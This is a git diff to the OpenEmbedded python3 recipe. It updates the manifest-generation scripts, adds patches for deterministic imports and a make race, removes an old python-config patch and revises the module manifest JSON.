Date: Wed, 21 Sep 2011 20:55:33 -0500
Subject: [PATCH] Lib/cgi.py: Update the script as mentioned in the comment
@@ -12,7 +12,7 @@ Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
1 file changed, 1 insertion(+), 10 deletions(-)
diff --git a/Lib/cgi.py b/Lib/cgi.py
-index 8cf6687..094c7b4 100755
+index 8787567..ebe8652 100755
--- a/Lib/cgi.py
+++ b/Lib/cgi.py
@@ -1,13 +1,4 @@
diff --git a/meta/recipes-devtools/python/python3/create_manifest3.py b/meta/recipes-devtools/python/python3/create_manifest3.py
index 4da02a2991..045240ea0b 100644
--- a/meta/recipes-devtools/python/python3/create_manifest3.py
+++ b/meta/recipes-devtools/python/python3/create_manifest3.py
@@ -36,7 +36,7 @@
# Tha method to handle cached files does not work when a module includes a folder which
# itself contains the pycache folder, gladly this is almost never the case.
#
-# Author: Alejandro Enedino Hernandez Samaniego "aehs29" <aehs29 at gmail dot com>
+# Author: Alejandro Enedino Hernandez Samaniego <alejandro at enedino dot org>
import sys
@@ -45,6 +45,11 @@ import json
import os
import collections
+if '-d' in sys.argv:
+ debugFlag = '-d'
+else:
+ debugFlag = ''
+
# Get python version from ${PYTHON_MAJMIN}
pyversion = str(sys.argv[1])
@@ -84,6 +89,12 @@ def prepend_comments(comments, json_manifest):
manifest.seek(0, 0)
manifest.write(comments + json_contents)
+def print_indent(msg, offset):
+ for l in msg.splitlines():
+ msg = ' ' * offset + l
+ print(msg)
+
+
# Read existing JSON manifest
with open('python3-manifest.json') as manifest:
# The JSON format doesn't allow comments so we hack the call to keep the comments using a marker
@@ -99,7 +110,7 @@ with open('python3-manifest.json') as manifest:
# Not exactly the same so it should not be a function
#
-print ('Getting dependencies for package: core')
+print_indent('Getting dependencies for package: core', 0)
# This special call gets the core dependencies and
@@ -109,7 +120,7 @@ print ('Getting dependencies for package: core')
# on the new core package, they will still find them
# even when checking the old_manifest
-output = subprocess.check_output([sys.executable, 'get_module_deps3.py', 'python-core-package']).decode('utf8')
+output = subprocess.check_output([sys.executable, 'get_module_deps3.py', 'python-core-package', '%s' % debugFlag]).decode('utf8')
for coredep in output.split():
coredep = coredep.replace(pyversion,'${PYTHON_MAJMIN}')
if isCached(coredep):
@@ -149,17 +160,16 @@ for filedep in old_manifest['core']['files']:
# Get actual module name , shouldnt be affected by libdir/bindir, etc.
pymodule = os.path.splitext(os.path.basename(os.path.normpath(filedep)))[0]
-
# We now know that were dealing with a python module, so we can import it
# and check what its dependencies are.
# We launch a separate task for each module for deterministic behavior.
# Each module will only import what is necessary for it to work in specific.
# The output of each task will contain each module's dependencies
- print ('Getting dependencies for module: %s' % pymodule)
- output = subprocess.check_output([sys.executable, 'get_module_deps3.py', '%s' % pymodule]).decode('utf8')
- print ('The following dependencies were found for module %s:\n' % pymodule)
- print (output)
+ print_indent('Getting dependencies for module: %s' % pymodule, 2)
+ output = subprocess.check_output([sys.executable, 'get_module_deps3.py', '%s' % pymodule, '%s' % debugFlag]).decode('utf8')
+ print_indent('The following dependencies were found for module %s:\n' % pymodule, 4)
+ print_indent(output, 6)
for pymodule_dep in output.split():
@@ -178,12 +188,13 @@ for filedep in old_manifest['core']['files']:
# all others will use this a base.
+print('\n\nChecking for directories...\n')
# To improve the script speed, we check which packages contain directories
# since we will be looping through (only) those later.
for pypkg in old_manifest:
for filedep in old_manifest[pypkg]['files']:
if isFolder(filedep):
- print ('%s is a folder' % filedep)
+ print_indent('%s is a directory' % filedep, 2)
if pypkg not in hasfolders:
hasfolders.append(pypkg)
if filedep not in allfolders:
@@ -221,14 +232,14 @@ for pypkg in old_manifest:
print('\n')
print('--------------------------')
- print ('Handling package %s' % pypkg)
+ print('Handling package %s' % pypkg)
print('--------------------------')
# Handle special cases, we assume that when they were manually added
# to the manifest we knew what we were doing.
special_packages = ['misc', 'modules', 'dev', 'tests']
if pypkg in special_packages or 'staticdev' in pypkg:
- print('Passing %s package directly' % pypkg)
+ print_indent('Passing %s package directly' % pypkg, 2)
new_manifest[pypkg] = old_manifest[pypkg]
continue
@@ -259,7 +270,7 @@ for pypkg in old_manifest:
# Get actual module name , shouldnt be affected by libdir/bindir, etc.
# We need to check if the imported module comes from another (e.g. sqlite3.dump)
- path,pymodule = os.path.split(filedep)
+ path, pymodule = os.path.split(filedep)
path = os.path.basename(path)
pymodule = os.path.splitext(os.path.basename(pymodule))[0]
@@ -279,10 +290,10 @@ for pypkg in old_manifest:
# Each module will only import what is necessary for it to work in specific.
# The output of each task will contain each module's dependencies
- print ('\nGetting dependencies for module: %s' % pymodule)
- output = subprocess.check_output([sys.executable, 'get_module_deps3.py', '%s' % pymodule]).decode('utf8')
- print ('The following dependencies were found for module %s:\n' % pymodule)
- print (output)
+ print_indent('\nGetting dependencies for module: %s' % pymodule, 2)
+ output = subprocess.check_output([sys.executable, 'get_module_deps3.py', '%s' % pymodule, '%s' % debugFlag]).decode('utf8')
+ print_indent('The following dependencies were found for module %s:\n' % pymodule, 4)
+ print_indent(output, 6)
reportFILES = []
reportRDEPS = []
@@ -325,7 +336,7 @@ for pypkg in old_manifest:
# print('Checking folder %s on package %s' % (pymodule_dep,pypkg_with_folder))
for folder_dep in old_manifest[pypkg_with_folder]['files'] or folder_dep in old_manifest[pypkg_with_folder]['cached']:
if folder_dep == folder:
- print ('%s folder found in %s' % (folder, pypkg_with_folder))
+ print ('%s directory found in %s' % (folder, pypkg_with_folder))
folderFound = True
if pypkg_with_folder not in new_manifest[pypkg]['rdepends'] and pypkg_with_folder != pypkg:
new_manifest[pypkg]['rdepends'].append(pypkg_with_folder)
@@ -424,7 +435,7 @@ prepend_comments(comments,'python3-manifest.json.new')
if (repeated):
error_msg = '\n\nERROR:\n'
- error_msg += 'The following files are repeated (contained in more than one package),\n'
+ error_msg += 'The following files were found in more than one package),\n'
error_msg += 'this is likely to happen when new files are introduced after an upgrade,\n'
error_msg += 'please check which package should get it,\n modify the manifest accordingly and re-run the create_manifest task:\n'
error_msg += '\n'.join(repeated)
diff --git a/meta/recipes-devtools/python/python3/crosspythonpath.patch b/meta/recipes-devtools/python/python3/crosspythonpath.patch
index d789ab57d4..2c4aef0511 100644
--- a/meta/recipes-devtools/python/python3/crosspythonpath.patch
+++ b/meta/recipes-devtools/python/python3/crosspythonpath.patch
@@ -1,4 +1,8 @@
-configure.ac: add CROSSPYTHONPATH into PYTHONPATH for PYTHON_FOR_BUILD
+From 5b66463c10fec1440e977d5a21a0167862d6d79c Mon Sep 17 00:00:00 2001
+From: Ricardo Ribalda <ricardo@ribalda.com>
+Date: Tue, 18 Nov 2014 03:35:33 -0500
+Subject: [PATCH] configure.ac: add CROSSPYTHONPATH into PYTHONPATH for
+ PYTHON_FOR_BUILD
When building x86->x86 the system will try to execute .so and related items
from the default PYTHONPATH. This will fail if the target CPU contains
@@ -10,16 +14,21 @@ Upstream-Status: Inappropriate [OE-Core integration specific]
Credits-to: Mark Hatle <mark.hatle@windriver.com>
Credits-to: Jackie Huang <jackie.huang@windriver.com>
Signed-off-by: Ricardo Ribalda <ricardo@ribalda.com>
+
+---
+ configure.ac | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
diff --git a/configure.ac b/configure.ac
-index 4ab19a6..7036a53 100644
+index cb9e198..d81c19a 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -76,7 +76,7 @@ if test "$cross_compiling" = yes; then
- AC_MSG_ERROR([python$PACKAGE_VERSION interpreter not found])
- fi
- AC_MSG_RESULT($interp)
-- PYTHON_FOR_BUILD='_PYTHON_PROJECT_BASE=$(abs_builddir) _PYTHON_HOST_PLATFORM=$(_PYTHON_HOST_PLATFORM) PYTHONPATH=$(shell test -f pybuilddir.txt && echo $(abs_builddir)/`cat pybuilddir.txt`:)$(srcdir)/Lib _PYTHON_SYSCONFIGDATA_NAME=_sysconfigdata_$(ABIFLAGS)_$(MACHDEP)_$(MULTIARCH) '$interp
-+ PYTHON_FOR_BUILD='_PYTHON_PROJECT_BASE=$(abs_builddir) _PYTHON_HOST_PLATFORM=$(_PYTHON_HOST_PLATFORM) PYTHONPATH=$(CROSSPYTHONPATH):$(shell test -f pybuilddir.txt && echo $(abs_builddir)/`cat pybuilddir.txt`:)$(srcdir)/Lib _PYTHON_SYSCONFIGDATA_NAME=_sysconfigdata_$(ABIFLAGS)_$(MACHDEP)_$(MULTIARCH) '$interp
- fi
- elif test "$cross_compiling" = maybe; then
- AC_MSG_ERROR([Cross compiling required --host=HOST-TUPLE and --build=ARCH])
+@@ -165,7 +165,7 @@ AC_ARG_WITH([build-python],
+ dnl Build Python interpreter is used for regeneration and freezing.
+ ac_cv_prog_PYTHON_FOR_REGEN=$with_build_python
+ PYTHON_FOR_FREEZE="$with_build_python"
+- PYTHON_FOR_BUILD='_PYTHON_PROJECT_BASE=$(abs_builddir) _PYTHON_HOST_PLATFORM=$(_PYTHON_HOST_PLATFORM) PYTHONPATH=$(shell test -f pybuilddir.txt && echo $(abs_builddir)/`cat pybuilddir.txt`:)$(srcdir)/Lib _PYTHON_SYSCONFIGDATA_NAME=_sysconfigdata_$(ABIFLAGS)_$(MACHDEP)_$(MULTIARCH) '$with_build_python
++ PYTHON_FOR_BUILD='_PYTHON_PROJECT_BASE=$(abs_builddir) _PYTHON_HOST_PLATFORM=$(_PYTHON_HOST_PLATFORM) PYTHONPATH=$(CROSSPYTHONPATH):$(shell test -f pybuilddir.txt && echo $(abs_builddir)/`cat pybuilddir.txt`:)$(srcdir)/Lib _PYTHON_SYSCONFIGDATA_NAME=_sysconfigdata_$(ABIFLAGS)_$(MACHDEP)_$(MULTIARCH) '$with_build_python
+ AC_MSG_RESULT([$with_build_python])
+ ], [
+ AS_VAR_IF([cross_compiling], [yes],
diff --git a/meta/recipes-devtools/python/python3/deterministic_imports.patch b/meta/recipes-devtools/python/python3/deterministic_imports.patch
new file mode 100644
index 0000000000..104df94964
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/deterministic_imports.patch
@@ -0,0 +1,40 @@
+From 039d5e652796b55f1132afa568c7432b6ed89afd Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Fri, 27 May 2022 17:05:44 +0100
+Subject: [PATCH] python3: Ensure stale empty python module directories don't
+
+There are two issues here. Firstly, the modules are accessed in on disk order. This
+means behaviour seen on one system might not reproduce on another and is a real headache.
+
+Secondly, empty directories left behind by previous modules might be looked at. This
+has caused a long string of different issues for us.
+
+As a result, patch this to a behaviour which works for us.
+
+Upstream-Status: Pending [need to talk to upstream to see if they'll take one or both fixes]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+---
+ Lib/importlib/metadata/__init__.py | 9 ++++++++-
+ 1 file changed, 8 insertions(+), 1 deletion(-)
+
+diff --git a/Lib/importlib/metadata/__init__.py b/Lib/importlib/metadata/__init__.py
+index 82e0ce1..969cac4 100644
+--- a/Lib/importlib/metadata/__init__.py
++++ b/Lib/importlib/metadata/__init__.py
+@@ -710,7 +710,14 @@ class Lookup:
+ self.infos = FreezableDefaultDict(list)
+ self.eggs = FreezableDefaultDict(list)
+
+- for child in path.children():
++ for child in sorted(path.children()):
++ childpath = pathlib.Path(path.root, child)
++ try:
++ if childpath.is_dir() and not any(childpath.iterdir()):
++ # Empty directories aren't interesting
++ continue
++ except PermissionError:
++ continue
+ low = child.lower()
+ if low.endswith((".dist-info", ".egg-info")):
+ # rpartition is faster than splitext and suitable for this purpose.
diff --git a/meta/recipes-devtools/python/python3/get_module_deps3.py b/meta/recipes-devtools/python/python3/get_module_deps3.py
index 6806f23172..8e432b49af 100644
--- a/meta/recipes-devtools/python/python3/get_module_deps3.py
+++ b/meta/recipes-devtools/python/python3/get_module_deps3.py
@@ -3,14 +3,18 @@
# them out, the output of this execution will have all dependencies
# for a specific module, which will be parsed an dealt on create_manifest.py
#
-# Author: Alejandro Enedino Hernandez Samaniego "aehs29" <aehs29@gmail.com>
+# Author: Alejandro Enedino Hernandez Samaniego <alejandro at enedino dot org>
-# We can get a log per module, for all the dependencies that were found, but its messy.
-debug=False
import sys
import os
+# We can get a log per module, for all the dependencies that were found, but its messy.
+if '-d' in sys.argv:
+ debug = True
+else:
+ debug = False
+
# We can get a list of the modules which are currently required to run python
# so we run python-core and get its modules, we then import what we need
# and check what modules are currently running, if we substract them from the
@@ -19,16 +23,16 @@ import os
# We use importlib to achieve this, so we also need to know what modules importlib needs
import importlib
-core_deps=set(sys.modules)
+core_deps = set(sys.modules)
def fix_path(dep_path):
import os
# We DONT want the path on our HOST system
- pivot='recipe-sysroot-native'
- dep_path=dep_path[dep_path.find(pivot)+len(pivot):]
+ pivot = 'recipe-sysroot-native'
+ dep_path = dep_path[dep_path.find(pivot)+len(pivot):]
if '/usr/bin' in dep_path:
- dep_path = dep_path.replace('/usr/bin''${bindir}')
+ dep_path = dep_path.replace('/usr/bin','${bindir}')
# Handle multilib, is there a better way?
if '/usr/lib32' in dep_path:
@@ -46,13 +50,13 @@ def fix_path(dep_path):
# Module to import was passed as an argument
current_module = str(sys.argv[1]).rstrip()
-if(debug==True):
- log = open('log_%s' % current_module,'w')
+if debug == True:
+ log = open('temp/log_%s' % current_module.strip('.*'),'w')
log.write('Module %s generated the following dependencies:\n' % current_module)
try:
m = importlib.import_module(current_module)
# handle python packages which may not include all modules in the __init__
- if os.path.basename(m.__file__) == "__init__.py":
+ if hasattr(m, '__file__') and os.path.basename(m.__file__) == "__init__.py":
modulepath = os.path.dirname(m.__file__)
for i in os.listdir(modulepath):
if i.startswith("_") or not(i.endswith(".py")):
@@ -63,13 +67,13 @@ try:
except:
pass # ignore all import or other exceptions raised during import
except ImportError as e:
- if (debug==True):
- log.write('Module was not found')
+ if debug == True:
+ log.write('Module was not found\n')
pass
# Get current module dependencies, dif will contain a list of specific deps for this module
-module_deps=set(sys.modules)
+module_deps = set(sys.modules)
# We handle the core package (1st pass on create_manifest.py) as a special case
if current_module == 'python-core-package':
@@ -81,14 +85,18 @@ else:
# Check where each dependency came from
for item in dif:
- dep_path=''
+ # Main module returns script filename, __main matches mp_main__ as well
+ if 'main__' in item:
+ continue
+
+ dep_path = ''
try:
- if (debug==True):
- log.write('Calling: sys.modules[' + '%s' % item + '].__file__\n')
+ if debug == True:
+ log.write('\nCalling: sys.modules[' + '%s' % item + '].__file__\n')
dep_path = sys.modules['%s' % item].__file__
except AttributeError as e:
# Deals with thread (builtin module) not having __file__ attribute
- if debug==True:
+ if debug == True:
log.write(item + ' ')
log.write(str(e))
log.write('\n')
@@ -96,11 +104,16 @@ for item in dif:
except NameError as e:
# Deals with NameError: name 'dep_path' is not defined
# because module is not found (wasn't compiled?), e.g. bddsm
- if (debug==True):
+ if debug == True:
log.write(item+' ')
log.write(str(e))
pass
+ if dep_path == '':
+ continue
+ if debug == True:
+ log.write('Dependency path found:\n%s\n' % dep_path)
+
# Site-customize is a special case since we (OpenEmbedded) put it there manually
if 'sitecustomize' in dep_path:
dep_path = '${libdir}/python${PYTHON_MAJMIN}/sitecustomize.py'
@@ -111,52 +124,51 @@ for item in dif:
dep_path = fix_path(dep_path)
import sysconfig
- soabi=sysconfig.get_config_var('SOABI')
+ soabi = sysconfig.get_config_var('SOABI')
# Check if its a shared library and deconstruct it
if soabi in dep_path:
- if (debug==True):
- log.write('Shared library found in %s' % dep_path)
+ if debug == True:
+ log.write('Shared library found in %s\n' % dep_path)
dep_path = dep_path.replace(soabi,'*')
print (dep_path)
continue
if "_sysconfigdata" in dep_path:
dep_path = dep_path.replace(sysconfig._get_sysconfigdata_name(), "_sysconfigdata*")
- if (debug==True):
+ if debug == True:
log.write(dep_path+'\n')
# Prints out result, which is what will be used by create_manifest
print (dep_path)
- import imp
- cpython_tag = imp.get_tag()
- cached=''
+ cpython_tag = sys.implementation.cache_tag
+ cached = ''
# Theres no naive way to find *.pyc files on python3
try:
- if (debug==True):
- log.write('Calling: sys.modules[' + '%s' % item + '].__cached__\n')
+ if debug == True:
+ log.write('\nCalling: sys.modules[' + '%s' % item + '].__cached__\n')
cached = sys.modules['%s' % item].__cached__
except AttributeError as e:
# Deals with thread (builtin module) not having __cached__ attribute
- if debug==True:
+ if debug == True:
log.write(item + ' ')
log.write(str(e))
log.write('\n')
pass
except NameError as e:
# Deals with NameError: name 'cached' is not defined
- if (debug==True):
+ if debug == True:
log.write(item+' ')
log.write(str(e))
pass
if cached is not None:
- if (debug==True):
- log.write(cached)
+ if debug == True:
+ log.write(cached + '\n')
cached = fix_path(cached)
cached = cached.replace(cpython_tag,'*')
if "_sysconfigdata" in cached:
cached = cached.replace(sysconfig._get_sysconfigdata_name(), "_sysconfigdata*")
print (cached)
-if debug==True:
+if debug == True:
log.close()
diff --git a/meta/recipes-devtools/python/python3/makerace.patch b/meta/recipes-devtools/python/python3/makerace.patch
new file mode 100644
index 0000000000..c1b20703e6
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/makerace.patch
@@ -0,0 +1,31 @@
+From 9f827c29adbe656af3c8fc963fdd8f47aec0c442 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Tue, 13 Jul 2021 23:19:29 +0100
+Subject: [PATCH] python3: Fix make race
+
+libainstall installs python-config.py but the .pyc cache files are generated
+by the libinstall target. This means some builds may not generate the pyc files
+for python-config.py depending on the order things happen in. This means builds
+are not always reproducible.
+
+Add a dependency to avoid the race.
+
+Upstream-Status: Pending
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ Makefile.pre.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile.pre.in b/Makefile.pre.in
+index 381feb0..77bf09a 100644
+--- a/Makefile.pre.in
++++ b/Makefile.pre.in
+@@ -2250,7 +2250,7 @@ COMPILEALL_OPTS=-j0
+ TEST_MODULES=@TEST_MODULES@
+
+ .PHONY: libinstall
+-libinstall: all $(srcdir)/Modules/xxmodule.c
++libinstall: all $(srcdir)/Modules/xxmodule.c libainstall
+ @for i in $(SCRIPTDIR) $(LIBDEST); \
+ do \
+ if test ! -d $(DESTDIR)$$i; then \
diff --git a/meta/recipes-devtools/python/python3/python-config.patch b/meta/recipes-devtools/python/python3/python-config.patch
deleted file mode 100644
index c8a8f3d4aa..0000000000
--- a/meta/recipes-devtools/python/python3/python-config.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-From 07df0ae0d70cba6d1847fe1c24a71063930bec60 Mon Sep 17 00:00:00 2001
-From: Tyler Hall <tylerwhall@gmail.com>
-Date: Sun, 4 May 2014 20:06:43 -0400
-Subject: [PATCH] python-config: Revert to using distutils.sysconfig
-
-The newer sysconfig module shares some code with distutils.sysconfig, but the same modifications as in
-
-12-distutils-prefix-is-inside-staging-area.patch makes distutils.sysconfig
-
-affect the native runtime as well as cross building. Use the old, patched
-implementation which returns paths in the staging directory and for the target,
-as appropriate.
-
-Upstream-Status: Inappropriate [Embedded Specific]
-
-Signed-off-by: Tyler Hall <tylerwhall@gmail.com>
-:
-
----
- Misc/python-config.in | 10 +++++-----
- 1 file changed, 5 insertions(+), 5 deletions(-)
-
-diff --git a/Misc/python-config.in b/Misc/python-config.in
-index 727c4a8..c702829 100644
---- a/Misc/python-config.in
-+++ b/Misc/python-config.in
-@@ -6,7 +6,7 @@
- import getopt
- import os
- import sys
--import sysconfig
-+from distutils import sysconfig
-
- valid_opts = ['prefix', 'exec-prefix', 'includes', 'libs', 'cflags',
- 'ldflags', 'extension-suffix', 'help', 'abiflags', 'configdir',
-@@ -35,14 +35,14 @@ if '--help' in opt_flags:
-
- for opt in opt_flags:
- if opt == '--prefix':
-- print(sysconfig.get_config_var('prefix'))
-+ print(sysconfig.PREFIX)
-
- elif opt == '--exec-prefix':
-- print(sysconfig.get_config_var('exec_prefix'))
-+ print(sysconfig.EXEC_PREFIX)
-
- elif opt in ('--includes', '--cflags'):
-- flags = ['-I' + sysconfig.get_path('include'),
-- '-I' + sysconfig.get_path('platinclude')]
-+ flags = ['-I' + sysconfig.get_python_inc(),
-+ '-I' + sysconfig.get_python_inc(plat_specific=True)]
- if opt == '--cflags':
- flags.extend(getvar('CFLAGS').split())
- print(' '.join(flags))
diff --git a/meta/recipes-devtools/python/python3/python3-manifest.json b/meta/recipes-devtools/python/python3/python3-manifest.json
index 69aecb7004..46092d4004 100644
--- a/meta/recipes-devtools/python/python3/python3-manifest.json
+++ b/meta/recipes-devtools/python/python3/python3-manifest.json
@@ -122,8 +122,7 @@
"logging",
"netclient",
"numbers",
- "stringold",
- "typing"
+ "stringold"
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/asyncio",
@@ -153,6 +152,23 @@
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/wave.*.pyc"
]
},
+ "cgitb": {
+ "summary": "Special exception handler for Python scripts",
+ "rdepends": [
+ "core",
+ "crypt",
+ "html",
+ "io",
+ "math",
+ "pydoc"
+ ],
+ "files": [
+ "${libdir}/python${PYTHON_MAJMIN}/cgitb.py"
+ ],
+ "cached": [
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/cgitb.*.pyc"
+ ]
+ },
"codecs": {
"summary": "Python codec",
"rdepends": [
@@ -173,10 +189,12 @@
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/compileall.py",
+ "${libdir}/python${PYTHON_MAJMIN}/filecmp.py",
"${libdir}/python${PYTHON_MAJMIN}/py_compile.py"
],
"cached": [
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/compileall.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/filecmp.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/py_compile.*.pyc"
]
},
@@ -188,12 +206,12 @@
"files": [
"${libdir}/python${PYTHON_MAJMIN}/gzip.py",
"${libdir}/python${PYTHON_MAJMIN}/tarfile.py",
- "${libdir}/python${PYTHON_MAJMIN}/zipfile.py"
+ "${libdir}/python${PYTHON_MAJMIN}/zipfile",
+ "${libdir}/python${PYTHON_MAJMIN}/zipfile/_path"
],
"cached": [
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/gzip.*.pyc",
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/tarfile.*.pyc",
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/zipfile.*.pyc"
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/tarfile.*.pyc"
]
},
"core": {
@@ -231,6 +249,7 @@
"${libdir}/python${PYTHON_MAJMIN}/copy.py",
"${libdir}/python${PYTHON_MAJMIN}/copyreg.py",
"${libdir}/python${PYTHON_MAJMIN}/csv.py",
+ "${libdir}/python${PYTHON_MAJMIN}/dataclasses.py",
"${libdir}/python${PYTHON_MAJMIN}/dis.py",
"${libdir}/python${PYTHON_MAJMIN}/encodings",
"${libdir}/python${PYTHON_MAJMIN}/encodings/aliases.py",
@@ -245,6 +264,7 @@
"${libdir}/python${PYTHON_MAJMIN}/heapq.py",
"${libdir}/python${PYTHON_MAJMIN}/imp.py",
"${libdir}/python${PYTHON_MAJMIN}/importlib",
+ "${libdir}/python${PYTHON_MAJMIN}/importlib/_abc.py",
"${libdir}/python${PYTHON_MAJMIN}/importlib/_bootstrap.py",
"${libdir}/python${PYTHON_MAJMIN}/importlib/_bootstrap_external.py",
"${libdir}/python${PYTHON_MAJMIN}/importlib/abc.py",
@@ -252,6 +272,7 @@
"${libdir}/python${PYTHON_MAJMIN}/importlib/util.py",
"${libdir}/python${PYTHON_MAJMIN}/inspect.py",
"${libdir}/python${PYTHON_MAJMIN}/io.py",
+ "${libdir}/python${PYTHON_MAJMIN}/ipaddress.py",
"${libdir}/python${PYTHON_MAJMIN}/keyword.py",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/__pycache__/_struct.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/__pycache__/binascii.*.so",
@@ -265,6 +286,7 @@
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_opcode.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_posixsubprocess.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_struct.*.so",
+ "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_typing.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/array.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/binascii.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/grp.*.so",
@@ -289,7 +311,11 @@
"${libdir}/python${PYTHON_MAJMIN}/pkgutil.py",
"${libdir}/python${PYTHON_MAJMIN}/platform.py",
"${libdir}/python${PYTHON_MAJMIN}/posixpath.py",
- "${libdir}/python${PYTHON_MAJMIN}/re.py",
+ "${libdir}/python${PYTHON_MAJMIN}/re",
+ "${libdir}/python${PYTHON_MAJMIN}/re/_casefix.py",
+ "${libdir}/python${PYTHON_MAJMIN}/re/_compiler.py",
+ "${libdir}/python${PYTHON_MAJMIN}/re/_constants.py",
+ "${libdir}/python${PYTHON_MAJMIN}/re/_parser.py",
"${libdir}/python${PYTHON_MAJMIN}/reprlib.py",
"${libdir}/python${PYTHON_MAJMIN}/rlcompleter.py",
"${libdir}/python${PYTHON_MAJMIN}/runpy.py",
@@ -313,10 +339,12 @@
"${libdir}/python${PYTHON_MAJMIN}/tokenize.py",
"${libdir}/python${PYTHON_MAJMIN}/traceback.py",
"${libdir}/python${PYTHON_MAJMIN}/types.py",
+ "${libdir}/python${PYTHON_MAJMIN}/typing.py",
"${libdir}/python${PYTHON_MAJMIN}/urllib",
"${libdir}/python${PYTHON_MAJMIN}/urllib/parse.py",
"${libdir}/python${PYTHON_MAJMIN}/warnings.py",
"${libdir}/python${PYTHON_MAJMIN}/weakref.py",
+ "${libdir}/python${PYTHON_MAJMIN}/zipimport.py",
"${prefix}/lib/python${PYTHON_MAJMIN}/config*/*[!.a]"
],
"cached": [
@@ -341,6 +369,7 @@
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/copy.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/copyreg.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/csv.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/dataclasses.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/dis.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/enum.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/fnmatch.*.pyc",
@@ -352,6 +381,7 @@
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/imp.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/inspect.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/io.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/ipaddress.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/keyword.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/linecache.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/locale.*.pyc",
@@ -388,6 +418,7 @@
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/tokenize.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/traceback.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/types.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/typing.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/warnings.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/weakref.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/collections/__pycache__",
@@ -397,9 +428,15 @@
"${libdir}/python${PYTHON_MAJMIN}/encodings/__pycache__/latin_1.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/encodings/__pycache__/utf_8.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/importlib/__pycache__",
+ "${libdir}/python${PYTHON_MAJMIN}/importlib/__pycache__/_abc.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/importlib/__pycache__/abc.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/importlib/__pycache__/machinery.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/importlib/__pycache__/util.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/re/__pycache__",
+ "${libdir}/python${PYTHON_MAJMIN}/re/__pycache__/_casefix.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/re/__pycache__/_compiler.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/re/__pycache__/_constants.*.pyc",
+ "${libdir}/python${PYTHON_MAJMIN}/re/__pycache__/_parser.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/urllib/__pycache__",
"${libdir}/python${PYTHON_MAJMIN}/urllib/__pycache__/parse.*.pyc"
]
@@ -419,9 +456,8 @@
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_hashlib.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_md5.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_sha1.*.so",
- "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_sha256.*.so",
- "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_sha3.*.so",
- "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_sha512.*.so"
+ "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_sha2.*.so",
+ "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_sha3.*.so"
],
"cached": [
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/crypt.*.pyc",
@@ -516,8 +552,7 @@
"${libdir}/pkgconfig"
],
